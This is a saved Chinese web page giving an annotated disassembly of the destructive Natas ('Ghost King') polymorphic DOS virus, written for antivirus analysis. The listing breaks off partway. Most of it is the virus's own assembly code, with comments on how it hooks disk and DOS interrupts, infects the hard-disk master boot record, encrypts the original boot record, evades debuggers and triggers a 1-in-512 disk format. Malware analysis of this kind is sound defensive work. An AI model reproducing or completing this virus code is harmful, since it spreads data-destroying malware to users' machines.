?? natas 幽靈王病毒的分析.htm
字號:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0039)http://go2.163.com/~lanqie/bingdu/3.htm -->
<HTML><HEAD><TITLE>藍企鵝軟件工作室-編程技巧</TITLE>
<META content="text/html; charset=gb2312" http-equiv=Content-Type>
<META content="MSHTML 5.00.2614.3500" name=GENERATOR>
<META content=FrontPage.Editor.Document name=ProgId></HEAD>
<BODY bgColor=#0080ff>
<DIV align=center>
<CENTER>
<TABLE bgColor=#ffff80 border=0 cellPadding=0 cellSpacing=0 height=350
width=745>
<TBODY>
<TR>
<TD height=333 width=745>
<P align=left><STRONG><FONT color=#008080 size=3>Natas
幽靈王病毒的分析</FONT></STRONG></P>
<HR SIZE=1>
<P><SPAN style="BACKGROUND-COLOR: rgb(200,200,255)"><FONT color=#008080
size=2>病毒介紹:</FONT></SPAN></P>
<P><FONT color=#008080 size=2> Natas 病毒,長度 4744 字節,有的地方有把它稱為 4744
病毒,由于病毒是用了變型技術,本身的形態幾乎有無窮多種,使殺毒軟件總漏掉一兩個,不知什么時候又冒了出來,所以又稱它為‘幽靈王’。<BR>
但變型加密技術并不可怕,我認為,查病毒并沒有通用的方法,病毒用了多少的代碼用于加密,殺毒程序也少不了這么多代碼,編病毒的人用了多少時間調試,殺病毒的人只會用更多的時間去分析,從來沒有通用的殺毒辦法,只要以這種態度去分析病毒,殺毒程序就能把病毒殺完全。君不見,有些殺毒軟件剛推出是號稱開放式殺毒,永遠不用升級,用戶自己只要加加病毒庫就行了,但到后來,升級升得比誰都快,出一個新病毒一升級,版本號都快把26個字母用完了。<BR>
由于 Natas 病毒的長度長達 4744 字節,變型加密部分就用的近
2k,我一時沒有時間寫具體的殺毒細節,只能盡可能多注釋一下。<BR> Natas
病毒是一種惡性病毒,它再啟動時有1/512的機會要格式化硬盤。如果發現它,要注意馬上殺,不然下一次啟動你的硬盤資料可能就完蛋了。具體分析見注釋。如果誰有殺毒原程序愿意公布,可以發一份給我。</FONT></P>
<P><SPAN style="BACKGROUND-COLOR: rgb(200,200,255)"><FONT color=#008080
size=2>病毒分析:</FONT></SPAN></P><PRE><FONT color=#008080 size=2>9E80:0000 0E PUSH CS
9E80:0001 1F POP DS
9E80:0002 E89400 CALL 0099 ;保存 INT 13/15/21/40
9E80:0005 A27304 MOV [0473],AL ;AL = 0
9E80:0008 A21114 MOV [1411],AL
9E80:000B 8EC0 MOV ES,AX
9E80:000D 5F POP DI
9E80:000E 83EF03 SUB DI,+03
9E80:0011 50 PUSH AX
9E80:0012 57 PUSH DI ;設置執行原引導記錄地址
9E80:0013 BE4700 MOV SI,0047 ;解密并恢復原引導區
9E80:0016 E81D00 CALL 0036
9E80:0019 B013 MOV AL,13
9E80:001B BA7204 MOV DX,0472 ;設置新 INT 13 => CS:0472
9E80:001E E8B300 CALL 00D4
9E80:0021 E8EF00 CALL 0113 ;傳染硬盤引導區
9E80:0024 84168E00 TEST [008E],DL
9E80:0028 740B JZ 0035
9E80:002A B8FF01 MOV AX,01FF
9E80:002D E83611 CALL 1166 ;產生隨機數 < 512
9E80:0030 7503 JNZ 0035 ;如果為 0 轉格式化硬盤
9E80:0032 E91304 JMP 0448 ;即每次啟動有 1/512 的機會
9E80:0035 CB RETF ;格式化硬盤
;===========================================================================
;加密/解密原引導記錄
9E80:0036 8A64FF MOV AH,[SI-01]
9E80:0039 B92900 MOV CX,0029
9E80:003C FC CLD
9E80:003D AC LODSB
9E80:003E 32C4 XOR AL,AH
9E80:0040 D0C4 ROL AH,1
9E80:0042 AA STOSB
9E80:0043 E2F8 LOOP 003D
9E80:0045 C3 RET </FONT></PRE><PRE><FONT color=#008080 size=2>9E80:0046 07 FD-3D DC B6 A0 5C C1 FF 11 .}=\6 \A..
9E80:0050 09 A7 40 70 D6 04 B4 19-58 0A 6B CF DE BD 3A 0C .'@pV.4.X.kO^=:.
9E80:0060 0E E0 CB D4 E6 DE 45 42-F0 13 B3 7E F8 BD 0B 4A .`KTf^EBp.3~x=.J</FONT></PRE><PRE><FONT color=#008080 size=2>;==========================================================================
; 新引導區入口程序
;==========================================================================
9E80:0070 E80000 CALL 0073 ;重定位
9E80:0073 BF4000 MOV DI,0040
9E80:0076 8EDF MOV DS,DI ;0040:0013
9E80:0078 836DD306 SUB Word Ptr [DI-2D],+06 ;內存減 6K
9E80:007C 8B45D3 MOV AX,[DI-2D]
9E80:007F B10A MOV CL,0A
9E80:0081 D3C8 ROR AX,CL
9E80:0083 8EC0 MOV ES,AX ;高端段地址
9E80:0085 B80902 MOV AX,0209 ;讀出病毒 9 扇區
9E80:0088 33DB XOR BX,BX
9E80:008A B9014F MOV CX,4F01 ===> ;CX, DX 值由 0166 設置
9E80:008D BA0001 MOV DX,0100
9E80:0090 CD13 INT 13
9E80:0092 7203 JB 0097
9E80:0094 06 PUSH ES ;轉 0000 執行
9E80:0095 53 PUSH BX
9E80:0096 CB RETF
9E80:0097 CD18 INT 18
;===========================================================================
;保存中斷開始 5 字節
;INT 13 ===> 13EB
;INT 15 ===> 13F3
;INT 40 ===> 13F7
;INT 21 ===> 13FB
9E80:0099 1E PUSH DS
9E80:009A 33C0 XOR AX,AX
9E80:009C 8ED8 MOV DS,AX
9E80:009E BE4C00 MOV SI,004C ;中斷 13
9E80:00A1 BFEB13 MOV DI,13EB
9E80:00A4 56 PUSH SI
9E80:00A5 56 PUSH SI
9E80:00A6 A5 MOVSW
9E80:00A7 A5 MOVSW
9E80:00A8 5E POP SI
9E80:00A9 A5 MOVSW
9E80:00AA A5 MOVSW
9E80:00AB BE5400 MOV SI,0054 ;中斷 15
9E80:00AE A5 MOVSW
9E80:00AF A5 MOVSW
9E80:00B0 5E POP SI
9E80:00B1 38067504 CMP [0475],AL
9E80:00B5 7403 JZ 00BA
9E80:00B7 BE0001 MOV SI,0100
9E80:00BA A5 MOVSW
9E80:00BB A5 MOVSW
9E80:00BC BE8400 MOV SI,0084 ;中斷 21
9E80:00BF A5 MOVSW
9E80:00C0 A5 MOVSW
9E80:00C1 1F POP DS
9E80:00C2 C3 RET
;=========================================================================
;取中斷向量于 ES:BX, 入口 AL = 中斷向量號
9E80:00C3 50 PUSH AX
9E80:00C4 32E4 XOR AH,AH
9E80:00C6 D1C0 ROL AX,1
9E80:00C8 D1C0 ROL AX,1
9E80:00CA 93 XCHG AX,BX
9E80:00CB 33C0 XOR AX,AX
9E80:00CD 8EC0 MOV ES,AX
9E80:00CF 26C41F LES BX,ES:[BX]
9E80:00D2 58 POP AX
9E80:00D3 C3 RET
;=========================================================================
;設置中斷向量到 DS:DX, 入口 AL = 中斷向量號
9E80:00D4 50 PUSH AX
9E80:00D5 53 PUSH BX
9E80:00D6 1E PUSH DS
9E80:00D7 32E4 XOR AH,AH
9E80:00D9 D1C0 ROL AX,1
9E80:00DB D1C0 ROL AX,1
9E80:00DD 93 XCHG AX,BX
9E80:00DE 33C0 XOR AX,AX
9E80:00E0 1E PUSH DS
9E80:00E1 8ED8 MOV DS,AX
9E80:00E3 8917 MOV [BX],DX
9E80:00E5 8F4702 POP [BX+02]
9E80:00E8 1F POP DS
9E80:00E9 5B POP BX
9E80:00EA 58 POP AX
9E80:00EB C3 RET
;========================================================================
;所有寄存器進堆棧
9E80:00EC 2E8F060214 POP CS:[1402]
9E80:00F1 9C PUSHF
9E80:00F2 50 PUSH AX
9E80:00F3 53 PUSH BX
9E80:00F4 51 PUSH CX
9E80:00F5 52 PUSH DX
9E80:00F6 55 PUSH BP
9E80:00F7 56 PUSH SI
9E80:00F8 57 PUSH DI
9E80:00F9 1E PUSH DS
9E80:00FA 06 PUSH ES
9E80:00FB 8BEC MOV BP,SP
9E80:00FD 2EFF260214 JMP CS:[1402]
;=========================================================================
;所有寄存器出堆棧
9E80:0102 2E8F060214 POP CS:[1402]
9E80:0107 07 POP ES
9E80:0108 1F POP DS
9E80:0109 5F POP DI
9E80:010A 5E POP SI
9E80:010B 5D POP BP
9E80:010C 5A POP DX
9E80:010D 59 POP CX
9E80:010E 5B POP BX
9E80:010F 58 POP AX
9E80:0110 9D POPF
9E80:0111 EBEA JMP 00FD
;==========================================================================
;文件執行初始化及啟動時傳染硬盤子程序
;由 0021 043C 調用
9E80:0113 0E PUSH CS
9E80:0114 0E PUSH CS
9E80:0115 07 POP ES
9E80:0116 1F POP DS
9E80:0117 B80102 MOV AX,0201
9E80:011A BB1314 MOV BX,1413
9E80:011D B90100 MOV CX,0001
9E80:0120 BA8000 MOV DX,0080
9E80:0123 E89509 CALL 0ABB ;讀硬盤主引導區
9E80:0126 7230 JB 0158
9E80:0128 38AFBF01 CMP [BX+01BF],CH ;無保留磁道不傳染
9E80:012C 742A JZ 0158
9E80:012E 8B8FC401 MOV CX,[BX+01C4] ;取保留磁道扇區數
9E80:0132 83E13F AND CX,+3F ;屏蔽 CX 高位 (柱面高位)
9E80:0135 83E909 SUB CX,+09 ;到數 9 扇區
9E80:0138 761E JBE 0158 ;扇區數小于 9 不傳染
9E80:013A 80F901 CMP CL,01
9E80:013D 7619 JBE 0158
9E80:013F E81700 CALL 0159 ;判斷是否已傳染
9E80:0142 7214 JB 0158 ;已傳染退出
9E80:0144 53 PUSH BX
9E80:0145 B80903 MOV AX,0309 ;寫病毒到保留扇區
9E80:0148 33DB XOR BX,BX
9E80:014A E86E09 CALL 0ABB
9E80:014D 5B POP BX
9E80:014E 7208 JB 0158
9E80:0150 B80103 MOV AX,0301 ;寫新引導記錄
9E80:0153 B101 MOV CL,01 ;CS:0000
9E80:0155 E86309 CALL 0ABB
9E80:0158 C3 RET
;==========================================================================
;判斷引導記錄是否已傳染及準備新的引導記錄
9E80:0159 51 PUSH CX
9E80:015A 52 PUSH DX
9E80:015B 81BFFE0155AA CMP Word Ptr [BX+01FE],AA55
9E80:0161 7525 JNZ 0188
9E80:0163 BF4700 MOV DI,0047
9E80:0166 894D44 MOV [DI+44],CX ;保存病毒傳染位置
9E80:0169 80E280 AND DL,80
9E80:016C 895547 MOV [DI+47],DX
9E80:016F E81A00 CALL 018C ;判斷是否傳染 (返回 SI 地址)
9E80:0172 7414 JZ 0188 ;已傳染轉 0188 退出
9E80:0174 E8EC0F CALL 1163 ;產生隨機數
9E80:0177 8865FF MOV [DI-01],AH ;保存于 0046
9E80:017A 56 PUSH SI
9E80:017B E8BBFE CALL 0039 ;加密原引導記錄
9E80:017E 8BF7 MOV SI,DI ;SI = 0070, 病毒入口
9E80:0180 5F POP DI ;DI = 原引導記錄 JMP 入口
9E80:0181 B92900 MOV CX,0029 ;移動病毒到原引導記錄
9E80:0184 F3 REPZ
9E80:0185 A4 MOVSB
9E80:0186 F8 CLC
9E80:0187 B0F9 MOV AL,F9
9E80:0189 5A POP DX
9E80:018A 59 POP CX
9E80:018B C3 RET
;==========================================================================
;返回 JMP 后的指令地址于 SI
;判斷 JMP 后指令是否為 0070 處指令 (是否傳染)
9E80:018C 8BF3 MOV SI,BX
9E80:018E FC CLD
9E80:018F AC LODSB
9E80:0190 50 PUSH AX
9E80:0191 AD LODSW
9E80:0192 91 XCHG AX,CX ;AL/CX 為引導區前 3 字節
9E80:0193 58 POP AX
9E80:0194 3CEB CMP AL,EB ;JMP XXXX
9E80:0196 7505 JNZ 019D
9E80:0198 32ED XOR CH,CH
9E80:019A 4E DEC SI
9E80:019B EB08 JMP 01A5
9E80:019D 3CE9 CMP AL,E9 ;JMP XXXX
9E80:019F 7404 JZ 01A5
9E80:01A1 33C9 XOR CX,CX
9E80:01A3 8BF3 MOV SI,BX
9E80:01A5 03F1 ADD SI,CX ;SI 為引導記錄開始指令
9E80:01A7 81FEE515 CMP SI,15E5 ;15E5 - 1413 = 01D2
9E80:01AB 73F4 JNB 01A1 ; > 01D2 退出
9E80:01AD 813CE800 CMP Word Ptr [SI],00E8
9E80:01B1 7505 JNZ 01B8 ;判前 2 句指令是否
9E80:01B3 817C0200BF CMP Word Ptr [SI+02],BF00 ;CALL next/MOV DI,xxxx
9E80:01B8 C3 RET ;(見 0070)</FONT></PRE><PRE><FONT color=#008080 size=2>;=========================================================================
;判斷是否有跟蹤
;如果有,返回 BP <> 0
9E80:01B9 33C0 XOR AX,AX
9E80:01BB 9C PUSHF
9E80:01BC 5A POP DX ;取當前標志
9E80:01BD 80E6FE AND DH,FE
9E80:01C0 52 PUSH DX
9E80:01C1 52 PUSH DX
9E80:01C2 9D POPF
9E80:01C3 16 PUSH SS
9E80:01C4 17 POP SS
9E80:01C5 9C PUSHF
9E80:01C6 5A POP DX
9E80:01C7 F6C601 TEST DH,01
9E80:01CA 5A POP DX
9E80:01CB 7415 JZ 01E2 ;無跟蹤轉 01E2
9E80:01CD 06 PUSH ES
9E80:01CE 33ED XOR BP,BP
9E80:01D0 8CD1 MOV CX,SS
9E80:01D2 FA CLI
9E80:01D3 8ED5 MOV SS,BP
9E80:01D5 C47E04 LES DI,[BP+04] ;有跟蹤取 INT 01 地址
9E80:01D8 8ED1 MOV SS,CX
9E80:01DA FB STI
9E80:01DB B0CF MOV AL,CF
9E80:01DD FC CLD
9E80:01DE AA STOSB ;將 INT 01 設置為 IRET
9E80:01DF 07 POP ES
9E80:01E0 52 PUSH DX
9E80:01E1 9D POPF
9E80:01E2 95 XCHG AX,BP ;無跟蹤 AX = 0
9E80:01E3 C3 RET
;========================================================================
;保存或恢復 INT 13 中斷前 5 字節
9E80:01E4 E805FF CALL 00EC
9E80:01E7 BED913 MOV SI,13D9
9E80:01EA 2EC47C16 LES DI,CS:[SI+16]
9E80:01EE EB0A JMP 01FA
;========================================================================
;保存或恢復 INT 21 中斷前 5 字節
9E80:01F0 E8F9FE CALL 00EC
9E80:01F3 BEDE13 MOV SI,13DE
9E80:01F6 2EC47C1D LES DI,CS:[SI+1D]
9E80:01FA 0E PUSH CS
9E80:01FB 1F POP DS
9E80:01FC B90500 MOV CX,0005
9E80:01FF 382E1114 CMP [1411],CH ;[1411] 引導區引入時為 0
9E80:0203 740B JZ 0210
9E80:0205 FC CLD
9E80:0206 AC LODSB
9E80:0207 268605 XCHG AL,ES:[DI]
9E80:020A 8844FF MOV [SI-01],AL
9E80:020D 47 INC DI
9E80:020E E2F6 LOOP 0206
9E80:0210 E8EFFE CALL 0102
9E80:0213 C3 RET
;=========================================================================
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -